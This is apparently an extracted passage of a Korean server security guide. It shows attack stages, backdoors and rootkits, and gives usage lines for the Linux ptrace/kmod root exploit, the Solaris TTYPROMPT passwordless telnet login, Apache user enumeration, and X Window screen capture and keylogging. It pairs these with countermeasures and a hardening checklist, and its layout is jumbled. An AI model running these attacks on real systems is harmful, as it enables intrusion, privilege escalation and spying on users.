23 해킹기술은보안상태가가장허술한호스트의취약점에대해서우선적으로공격한다. 일반적인공격시사용자로그인레벨의접근을시도하고유저권한획득하면로컬에서루트권한을획득하기위한공격을시도한다 IMAP에대한취약점및해킹방법취득 일반사용자계정으로부터 Root, Administrator 와같은특권계정의권한을획득한다. - Local attack: 일반사용자계정을가지고있는컴퓨터혹은현재해커앞에놓인컴퓨터에대한공격을시도한다. - Remote attack: 어떠한계정도없으며멀리떨어져있는컴퓨터에대한공격( 주로서버를공격대상으로선정). 일반사용자로부터슈퍼유저의권한을얻는것이원격에서바로수퍼유저의권한을얻는것보다손쉬움. Remote attack 역시바로슈퍼유저의권한을얻는것이어렵다면일반사용자의권한을얻는것을목표로한다. 사전공격단계에서입수한 target에대한정보를이용하여 target시스템에유효한 exploit을다운로드받는다. exploit code를다운받은후필요시컴파일과정을거치고바이너리파일일경우에는컴파일과정없이바로사용이가능하다 IMAP에대한해킹툴및소스다운로드

24 라. Exploit code 실행 마. 백도어설치 hacker ~$./imap_exploit bigwidget.com : 첫단계로익스플로잇코드를컴파일한다. hacker ~$ telnet bigwidget.com Bigwidget:~# cd / etc Bigwidget:~# cat./hosts 해커는공격에서침입을용이하게하기위해백도어를만들어둔다.( 예.back orifice, rootkit). Back Orifice: cdc(cult Dead Cow) 라는단체에서만든프로그램으로 Server 프로그램과 Client 프로그램으로구성되어있으며인스톨한후 client에서 Server 를제어가능. Rootkit: 다른시스템에침입하기위한프로그램등이다양하지만, linux 와 solaris에설치가능한패키지. 원격으로슈퍼유저로그인이가능할뿐만아니라침입했다는사실을숨기는기능까지있기때문에매우위험하다. 실행결과방화벽을통과하여서버의 root 권한을얻음. 이로써더이상의방어는존재하지않는다. BigWidget 을대상으로공격할때사용된프로그램(Exploits) 은암호를물어보지도않고 root 로로그온할수있도록만든다. 수많은해커들의정보교환용웹사이트에는그밖에도수천가지이상의실제보안취약점이존재한다. 이러한취약점들은현재사용되고있는모든운영체제들또한마찬가지이다 백도어설치과정 3-7. 공격대상에대해서익스플로잇코드실행결과 추적을숨기고백도어설치 - 로그파일수정 - Sniffers 설치 - 들키지않도록트로이목마를설치 - "Rootkit" 이라는툴사용 - Rootkit는운영체제마다존재 일단해킹에성공한해커는자신의방문을관리자가눈치채지못하도록침입흔적을지운다. 해커들에의해백도어의기능이더욱강력해지고있다

25 백도어로써 Netbus 에대해서알아본다. -Netbus : 초보자들도사용하기쉽고강력한기능들로만구성되어있어최근들어해킹에 많이사용된다. - 구성파일: patch.exe - 서버파일, netbus.exe - 클라이언트파일 - 기 능: 서버컴퓨터의키보드로타이핑된모든내용을알수있음. 서버컴퓨터에서현재작업중인화면을캡처하여 bmp 파일로저장. 다른클라이언트가접속하지못하도록비밀번호를설정가능. 서버컴퓨터가외부에접속할경우변경된 IP와접속사실을클라이언트의 이메일주소로전송. Part 3 2. 취약점리스트및해킹기술가. 권한상승해킹기술 프로그램은아래와같이검색및웹사이트를이용하여다운받는다. 제목 Linux Kernel 2.2.x-2.4.x ptrace/kmod local root exploit 개요 kernel/kmod.c 부분에서 race condition 을발생시켜비정상적인상태에서프로세스를생성하고, 시스템관리자권한으로새로생성된 modprobe를 ptrace system call을이용해서제어함으로써로컬사용자가시스템의관리자권한(root) 을획득할수있다 3-9. 백도어및트로이목마프로그램다운로드의예 원리 커널 이상에서는 setuid가설정되어있는프로그램의경우 ptrace에의해 trace 되어지는것을금지하고있지만, 본 exploit에서사용되어진프로세스의경우에는초기에는 setuid가설정이되어있지않다가커널내부에서 euid와 egid값을 0으로변경함으로인해 setuid가설정된프로세스에대한 ptrace 금지규칙을우회할수있다. 즉, ptrace로 attach를시도하는시점에서는일반프로세스상태로있다가커널에의해 내부적으로변경됨으로인해, 정상적인 ptrace 를수행할수있다. 아래의코드는커널내부에는해당프로세스의 euid와 egid값을 0으로 변경하는부분으로문제로지적된부분이다. kmod.c 에서 race conditon 이일어난다 /* Give kmod all effective privileges.. */ 133 curtask->euid = curtask->fsuid = 0; 134 curtask->egid = curtask->fsgid = 0; 135 cap_set_full(curtask->cap_effective); 137 /*Allowexecveargstobeinkernelspace.*/ 138 set_fs(kernel_ds); 140 /* Go, go, go... */ 141 if (execve(program_path, argv, envp) < 0) 142 return -errno; 143 return 0;

26 원리 동작환경 A 프로세스에서특정모듈의기능을요청하면, kmod 에서modprobe라는특정모듈을메모리상에올리는프로세스 C 가생성된다. kmod에서 modprobe 를요청하는루틴이작동될때(135 줄실행후) Context Switching 이될경우, B라는악의적인프로세스가이프로세스 C에 PTRACE ATTACH( CHILD 로만듬 ) 한다음악의적인코드를집어넣을수있다. modprobe 는 root 권한으로작동되므로악의적인 local 사용자는 root 권한을획득할수있다. Atomic 으로실행돼야하는부분에 ptrace system call 로접근할수있는점에서문제가발생된다 Linux Kernel 2.2.x & 2.4.x 모든시스템 나. 제목 개요 TTYPROMPT 취약점해킹기술 Solaris TTYPROMPT 취약점(telnet) Solaris2.6,7,8 버전의 /bin/login은환경변수 TTYPROMPT와긴사용자명을입력에대한취약점을가진다. 이취약점은공격자가원격지에서 Solaris 시스템으로패스워드없이 login 이가능하다. 다운로드 설치순서 # gcc o ptrace-kmod ptrace-kmod 활 용 법 $./ptrace-kmod sh-2.05 원리 별도의컴파일된코드를요구하지않으며단지공격자가간단히 telnet prompt 에서 TTYPROMPT 환경변수를 6문자크기로정의하고공격할대상에연결한뒤, 사용자명과 64 문자의 'c' 와 ' n' 을입력하면패스워드없이 login 이가능하다. 원격지에서 root login이허락되었다면 root로도 login 이가능하다. ( 예제 ) localhost % telnet telnet>environ define TTYPROMPT abcdef telnet> o localhost SunOS 5.8 bincccccccccccccccccccccccccc ccccccccccccccccccccccccccc ccccccccccc n Last login: whenever $whoami bin 동작환경 취약시스템 : Solaris 2.6, 7, 8 (sparc/x86)

27 다운로드 &id=89 다. 제목 apache서버계정정보취득기술 Apache 1.3.* mod_userdir remote users disclosure Exploit # gcc o exploit exploit.c 설치순서 (Linux) # gcc o exploit exploit.c lnsl lsocket (Solaris) 개요 일정한조건과 userlist.txt를통해일치되는 apache서버의내부사용자들의계정을알아냄으로써, 해커에게좀더쉽게공격대상의계정정보를취득한다 활용법 [ 사용법 ]./exploit [-u user] [-p port] <-h target> (default user/port : bin/23) #./exploit h victim #./exploit h victim u ro 각시스템및버전에해당된패치를 적용한다.( ) Solaris 8: Solaris 8x86: Solaris 7: Solaris 7x86: 대응방안 Solaris 2.6: Solaris 2.6x86: ( 예) Solaris 8 (sparc) 의경우 원리 동작환경 < 원격사용자검색조건 > 1. httpd l 명령수행결과에 mod_userdir.c가있을경우 2. 해당계정의디렉토리밑에 public_html 이있을경우 3. public_html 이없어도계정이존재한다면 http 쿼리를해보면 403 이란반환값을얻을수있다. # nc 80 head /~root http/1.0 HTTP/ Forbidden Date: Tue, 13 Jan :18:22 GMT Server: Apache/ (Unix) PHP/4.0.6 Connection: close Content-Type: text/html; charset=iso apache 1.3.x (Linux / BSD) 다운로드 설치순서 # gcc o m00-apache-w00t m00-apache-w00t.c 활용법 #./m00-apache-w00t -t u userlist.txt -l userlsy [*] Apache 1.3.* remote users disclosure exploit by m00 Security. [*] Checking http server [localhost:80]... Apache => yes Vulnerable => yes OS => [*] Searching for system accounts # unzip zip # patchadd

28 활용법 대응방안 root => yes ( public_html 이있을때) webmaster => lsy => yes kyun => yes user1 => user2 => user3 => [*] Searching complete. 7 users checked 3 users found [*] Searching for system accounts... test => no ( 계정밑에 public_html 이없을때) 1. 가상호스팅을이용합니다. (DocumentRoot를 public_html로주지않고다른디렉토리로주게되면, 탐지를막을수있다.) 2. /etc/passwd 파일을 640등으로주어소유자와그룹소유자만이읽을수있도록하면탐지자체가되지않는다. 라. 제목 개요 원리 X Window X Window 인증해킹기술 X Window는클라이언트서버구조이기때문에사용자를인증하는모듈이포함돼있지만 X 프로토콜은암호화되어있지않기때문에인증을사용하더라도보안에취약하다고할수있다. 공격자는인증메커니즘을악용하여새로운터미널생성, 화면훔쳐보기, 키보드입력가로채기등의공격을할수있다 X Window 인증방식에는크게두가지방식이있다. 하나는호스트인증방식이고다른하나는토큰인증방식이다. 인증을받은클라이언트는 X 서버에터미널생성, 화면훔쳐보기, 키보드입력가로채기등이가능하다. < 호스트인증방식 > 호스트인증방식을사용하려면 xhost 명령을사용해야한다. xhost 의사용방법은다음과같다. xhost + : 모든호스트가로컬 X 서버에접속할수있도록한다. xhost - : 모든호스트가로컬 X 서버에접속할수없도록한다. xhost : 은 X 서버에접속을허용한다. < 토큰인증방식 > 호스트인증방식은클라이언트의 IP에기반한접근제어를수행하기때문에세밀한제어를하지못하는단점이있다. 토큰인증방식을사용하면각사용자에대한인증을할수있다. 토큰인증방식은MIT-MAGIC-COOKIE 방법이라고도불린다. 이방법에서는 128bit 의매직쿠키(magic cookie) 를 X 서버가기억하고있다가 X 클라이언트가접속요청을할때이쿠키에따라접근제어를수행한다. 즉 X 서버는 X 클라이언트가보내준매직쿠키가자신이갖고있는매직쿠키와같은경우에만접근을허용한다. 사용자는이매직쿠키를 $HOME/.Xauthority 파일에저장하는데이파일의접근권한은오직자신만이읽을수있도록설정해주어야한다. 왜냐하면이파일을읽을수있는모든사용자는 X 서버에접속할수있기때문이다 동작환경 UNIX 계열

29 Part 3 다운로드 3. 해킹대응및보안설정 설치순서 $ gcc o xkey xkey.c -1X11 lm I/usr/include/X11 L/sur/X11R6/lib 1. 다른접근제어와마찬가지로 xhost 를사용할때도기본적으로모든호스트에금지규칙을설정한다음특정호스트만을허용하는것이좋다. [attacker] $ xhost [attacker] $ xhost 대응방안 [attacker] $ xhost X Window 프로토콜을보호하는가장좋은방법은 X Window 트래픽을 SSH 를통해터널링하는것이다. 3. Firewall을이용하여 X Window 관련포트를차단한다. 활용법 < 새로운터미널생성 > 공격자는 X 서버를실행중인일반사용자의컴퓨터에자신이원하는프로그램을띄울수있다. [attacker] $ /usr/x11r6/bin/hanterm ls display :0.0 & < X Window 화면훔쳐보기 > 공격자는원격지에서다른사용자의 XWindow 화면을훔쳐볼수있다. [attacker] $ xwd root display :0.0 > screen.sav 이제 screen.sav 파일안에 의화면이캡쳐되어있다이파일을보려면다음과같이 xwud 프로그램을사용한다. [attacker] $ xwud in screen.sav < 키보드입력가로채기 > 공격자는 X 서버사용자의키보드입력을가로챌수도있다. [attacker] $./xkey :0.0 > keylog.txt 본서에서는해킹대응및보안설정부분에대해서체크리스트를제공하며이를기반으로체계적인해킹대응및보안설정을수행할수있도록한다. 서비스분류점검항목점검내용점검방법 1. NFS 서비스 2. FTP 서비스 3. SENDMA -IL 서비스 NFS 실행 NFS 서비스실행여부 ps -ef grep nfs NFS 설정공유설정의적절성 /etc/vfstab 실행 사용자제한 버전정보 명령어제한 로깅수준 FTP 서비스가실행여부 Anonymous 접속허용 /etc/ftpusers 취약점이없는 Ftp 서비스버전을유지 expn, vrfy 명령어사용을제한 로깅수준적절성 버전관리취약점이없는 Sendmail 버전을유지 ps -ef grep ftp grep -v ^# /etc/inetd.conf 4. SNMP 서비스 실행 설정 SNMP 서비스가실행되고있는가? SNMP Community String의 적절한 설정 5. DNS 서비스 실행 BIND 서비스가운영중인가? 버전관리취약점이없는버전의 BIND를사용

30 실행 실행권한 Apache 가실행되고있는가? Apache가 root 권한이 아닌 사용자 권한( 예. Nobody) 로 실행되고 있는 가? 불필요한계정이존재하는가? 불필요하게쉘이부여된계정이존재하는가? cat/etc/passwd,last user_name cat /etc/passwd 6. APACHE 서비스 디렉터리불필요한파일제거환경설정 APACHE의 DocumentRoot 디렉터리를기본디렉터리에서다른디렉터리로변경 불필요한 CGI 스크립트를제거 디렉터리리스팅을금지 심볼릭링크의사용을금지 SSI(Server Side Include) 페이지가 스크립트나프로그램을실행할수없 httpd.conf 파일설정도록하였는가? CGI의실행을특정한디렉터리에서만가능하도록설정 7. 사용자보안 계정 패스워드 그룹권한설정이적절한가? 사용가능한쉘을제한하는가? root 이외에 UID가 0인사용자가존재하는가? root 이외에 GID가 1인사용자가존재하는가? cat /etc/group cat/etc/passwd, /etc/shells cat /etc/passwd cat /etc/passwd 패스워드가쉐도우(Shadow) 화되어 /etc/passwd, 저장되는가? /etc/shadow 패스워드의최소길이가설정되어있 cat 는가? /etc/default/passwd cat 패스워드에이징(Aging) 이이루어지 /etc/default/passwd, 고있는가? /etc/shadow 패스워드가없는사용자가존재하는 /etc/shadow 가? PUT/GET METHOD 의사용을제한 쉬운패스워드를사용하는사용자가존재하는가? Crack Tool 웹서버정보헤더정보를숨기고있는가? 은닉 로그관리 access_log의 포맷과 경로는 적절한 가? 버전관리취약점이없는 APACHE 버전을유지 환경변수설정 (UMASK, PATH) UMASK 설정이적절한가? Shell Script /etc/passwd PATH 가적절히설정되어있는가? Shell Script /var/spool/cron cron과 at에등록된작업중불필요하 /crontabs/* 거나의심스러운사용자의것( 특히, SCHEDULING /var/spool/cron/atjob lp, uucp 관련) 이존재하지않는가? (at, cron) s/ SCHEDULING 작업을일정사용자만 /etc/cron.d/*.deny, 허용하고있는가? *.allow

31 8. 네트워크접근제어 로그인 TCP WRAPPER 원격 root 로그인을제한 IDLE 타임아웃설정 TELNET 접속시불필요한도움말메시지표시하는것을막는다로그인시접근경고메시지표시 TCP WRAPPER가운영 /etc/hosts.allow 파일의설정 /etc/default/login, /dev/console /etc/default/login, TIMEOUT=xxx /etc/motd grep tcpd /etc/inetd.conf /etc/hosts.deny 파일의설정 취약한 R-COMMAN DS 서비스 R-COMMANDS 있는가? 서비스를 사용하고 netstat -na grep 512, 513, 514 sadmind 9. 네트워크기본서비스 취약한 RPC 서비스실행 rquotad rpc.rusersd rpc.sprayd rpc.rwalld rpc.rstatd rpc.rexd rpc.ttdbserverd netstat -na grep 111 grep -v ^# /etc/inetd.conf grep rpc ps -ef grep rpc, sadmind, rquotad rpc.cmsd talk uucp 기타취약한서비스실행 finger time echo discard grep -v ^# /etc/inetd.conf daytime chargen, dtspcd,printer -61-